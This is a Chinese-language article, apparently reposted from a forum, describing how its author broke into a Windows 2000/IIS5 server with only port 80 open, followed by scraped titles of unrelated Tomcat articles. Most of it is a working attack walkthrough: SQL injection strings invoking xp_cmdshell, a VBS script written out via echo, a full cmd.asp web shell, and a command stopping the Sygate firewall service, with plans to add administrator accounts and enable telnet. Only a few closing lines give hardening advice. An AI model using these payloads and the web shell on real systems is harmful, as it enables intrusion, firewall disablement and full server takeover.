只开80端口主机的入侵思路

只开80端口主机的入侵思路



主机配置:win2kserver(sp3)+sygate personal firewall pro
安全设置:不说啦太**了竟然只允许80进

扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍
唉还是一样的结果,看来管理员也不算笨啊!

检查系统洞洞:先ping了一下竟然ping不通,不过有刚才的扫描结果就很明
白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用
说咯.

分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东
有一个查询系统输入单引号试试,返回
错误类型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
/mingce/student1.asp, 第 30 行

看来运气也不算太坏嘛........应该有sql注入的毛病.........
为了进一步确认试试运气http://x.x.x.x//mingce/student1.asp.BAK
的确可以正确提交哟返回如下:

if request.form("xsxm")="" and request.form("xsxh")="" then
Set Conn=Server.CreateObject("ADODB.Connection")
Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx")

比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的
过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤
特殊符号也不行的),当然也可以看出数据库使用的sa来连接的!

(Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell ‘iisreset /reboot‘
或是xp_cmdshell ‘ping 你.的.I.P‘,如果第一个命令能执行成功那么在半分钟之内远程
系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你
发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟)

好了通过上面的分析我们可以做什么呢:
通过在web页以管理员的身份来执行系统命令(不过没有回显的)
如果是一般的系统主机简单了xp_cmdshell ‘net user .....‘我就不写了
但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三
以前通常只要开个139/445/135就可以远程管理了不过现在不行.

我的思路:
1)找到web目录的路径
2)写入一个简单的cmd.asp用来找到防火墙的具体名字
3)通过xp_cmdshell来关闭防火墙服务

具体实现:
第一步明显是最难的咯
我本来打算用admins cripts里面的建web站的方式建一个我自已的可执行目录的
结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的
a‘;exec master..xp_cmdshell ‘cmd /c cs cript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt‘;--
是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别
的地方我们就没办法了(不可能自已用echo 命令写一个吧)

第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧:)

.....xp_cmdshell ‘echo set fso1=createobject("s cripting.filesystemobject")>c:\read.vbs‘;--
.....xp_cmdshell ‘echo Set WshShell = Ws cript.CreateObject("Ws cript.Shell")>>c:\read.vbs‘;--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("s cripting.filesystemobject")
Set WshShell = Ws cript.CreateObject("Ws cript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>"
---------------cut here--------------------------------------

第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
执http://x.x.x.x/dd.asp
返回:d:\xxx

看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)

第四步:就是用echo命令生成cmd.asp,唉也不算长嘛也就20行而已
其实在有的网站上(通常是虚拟主机)cmd.asp是不能执行的,不过这台主机是独立的服务器
所以管理员就没有禁止了

--------------------------cmd.asp------------------------------
<%On Error Resume Next
Set os cript = Server.CreateObject(""Ws cript.SHELL"")
Set os criptNet = Server.CreateObject(""Ws cript.NETWORK"")
Set oFileSys = Server.CreateObject(""s cripting.FileSystemObject"")
szCMD = Request.form("".CMD"")
If (szCMD <> """")Then
szTempFile = ""C:\" & oFileSys.GetTempName()
Call os cript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><form action=""<%= Request.ServerVariables(""URL"")%>"" method=""POST"">
<input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run"">
</form><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
-----------------------cut here--------------------------------

第五步:执行cmd.asp三,这样我们可以找到系统上到底安的是什么防火墙,找啊找没多久我找到了
e:\progra~1\sygate\spf,就是它不用说了嘛sygate personal firewall pro(具体版本在cmd.asp
里执行echo readme.txt不就明白了)

第六步:关闭sygate的防火墙
a‘;exec master..xp_cmdshell ‘net stop smcservice‘;--
(smcservice是sygate防火墙的服务名)

第七步:看一看成功了吗?用x-scan扫,现在就对了三53,139,135,1433......都出来了
第八步:添加系统管理员打开telnet............

唉打了半天反正就是这样了...其实我想应该还有好的办法只是我没想到吧.......
比如说用echo命令写一个ftp脚本来下载一个httptunel之类的程序然后再打开telnet
....当然你也可能想得到更简单的办法就是猜web站点的实际目录......
IIS有一个lockdown工具,会写定比较严格的Acls到www的目录,会好一点。

我觉得2k比想象中的可靠的多(甚至比Linux安全)

一般来讲先用它的TCP/IP筛选要服务的端口(80),如果有必要再用IPSec做一些策略,就可以很好的防范各种攻击了。(不含dos)

我的理论是,就算你能够利用漏洞获得权限,但是不让你建立连接(不能传东西上来),就算你用www传东西上来,也不给你shell,照样没有办法干掉我。

关于防火墙,我认为2k不需要防火墙,占用资源,又不可靠(还给人一种心理安慰),还是2k自带的好

时间: 2024-11-04 08:12:10

只开80端口主机的入侵思路的相关文章

解决80端口被占用的问题

元旦小长假临时接到一个微信公众平台开发的小项目,姐姐介绍的纯属帮忙.因工作关系手里边有几个固定IP的服务器,作为前期试运行的演示机,就大胆的占用了公司的资源,作为微信公众平台的服务器. 网上匆匆找了一个框架,简单的修改一些必要的内容,正待准备发布时,问题出来了.     只支持80端口?!这亲娘四舅奶奶.因自身经历有限,从未尝试占用80端口.还有有百度. 具体解决步骤如下: 1.控制台 输入 netstat -aon|findstr "80" 发现当前哪个线程占用80端口: 2.通过任

网站入侵思路(初级黑客渗透篇) 作者:80

网站入侵思路(初级黑客渗透篇)           作者:80 1,〓经典注入〓 通常,判断一个网站是否存在注入点,可以用',and 1=1 ,and 1=2,+and+1=1,+and+1=2,%20and%201=1,%20and%201=2,来判断,如果and 1=1正常返回页面,1=2错误,或者找不到,那么就存在注入点 2,〓万能密码OR漏洞〓 万能密码'or'='or',可以用在后台管理输入,有的网站由于没有过滤OR漏洞,输入OR直接就可以突破,一般漏洞存在于ASP类型的网站 3,〓爆

Apache服务器在80端口配置多域名虚拟主机的方法

我们在配置一台服务器的时候,如果只运行一个站点,往往过于浪费资源.Nginx和Apache都可以通过配置虚拟主机实现多站点.配置虚拟主机的方式主要有两种,一种是多个不同端口对应的多个虚拟主机站点,一种是同一端口对应多个不同域名的虚拟主机站点.这里我用80端口为例,在apache配置多个不同域名虚拟主机. 试验环境:windows+apache (linux+apache同理) 1.  虚拟机需要用到Rewrite,所以先编辑Apache的conf目录下的httpd.conf文件 掉Rewrite

16.4 配置Tomcat监听80端口;16.5、16.6、16.7配置Tomcat的虚拟主机(上中下);16.8 Tomcat日志

扩展: 邱李的tomcat文档 https://www.linuser.com/forum.php?mod=forumdisplay&fid=37 JAR.WAR包区别 http://blog.csdn.net/lishehe/article/details/41607725 tomcat常见配置汇总 http://blog.sina.com.cn/s/blog_4ab26bdd0100gwpk.html resin安装 http://fangniuwa.blog.51cto.com/10209

16.4 配置Tomcat监听80端口 16.5/16.6/16.7 配置Tomcat虚拟主机 16.8 Tomcat日志

16.4 配置Tomcat监听80端口 16.5/16.6/16.7 配置Tomcat虚拟主机 16.8 Tomcat日志 扩展 邱李的tomcat文档 https://www.linuser.com/forum.php?mod=forumdisplay&fid=37 JAR.WAR包区别 http://blog.csdn.net/lishehe/article/details/41607725 tomcat常见配置汇总 http://blog.sina.com.cn/s/blog_4ab26b

Tomcat监听80端口、配置Tomcat虚拟主机、Tomcat日志

配置Tomcat监听80端口 1.配置Tomcat服务的访问端口 Tomcat默认启动的端口是8080,如果你想修改为80,则需要修改server.xml文件. [[email protected] src]# vim /usr/local/tomcat/conf/server.xml 按如下需求更改: 找到Connector port="8080" protocol="HTTP/1.1"修改为Connector port="80" protoc

配置Tomcat监听80端口 配置Tomcat虚拟主机 Tomcat日志

配置Tomcat监听80端口 • vim /usr/local/tomcat/conf/server.xml Connector port="8080" protocol="HTTP/1.1"修改为Connector port="80" protocol="HTTP/1.1" • /usr/local/tomcat/bin/shutdown.sh • /usr/local/tomcat/bin/startup.sh 配置Tom

配置Tomcat监听80端口, 配置Tomcat虚拟主机,Tomcat日志

配置Tomcat监听80端口 编辑配置文件vim /usr/local/tomcat/conf/server.xml在里面找到8080<Connector port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" />将里面的8080改为80,然后保存退出.然后先关闭tomcat/usr/local/tomcat/bin/

配置Tomcat监听80端口、配置Tomcat的虚拟主机、日志配置

配置Tomcat监听80端口 编辑配置文件vim /usr/local/tomcat/bin/startup.sh 搜索关键字:Connector port ,将8080修改为80 更改完后保存退出,并且重启服务/usr/local/tomcat/bin/shutdown.sh/usr/local/tomcat/bin/startup.sh 这是可以查看tomcat监听的端口是否为80netstat -lntp |grep java 配置Tomcat的虚拟主机 编辑配置文件vim /usr/lo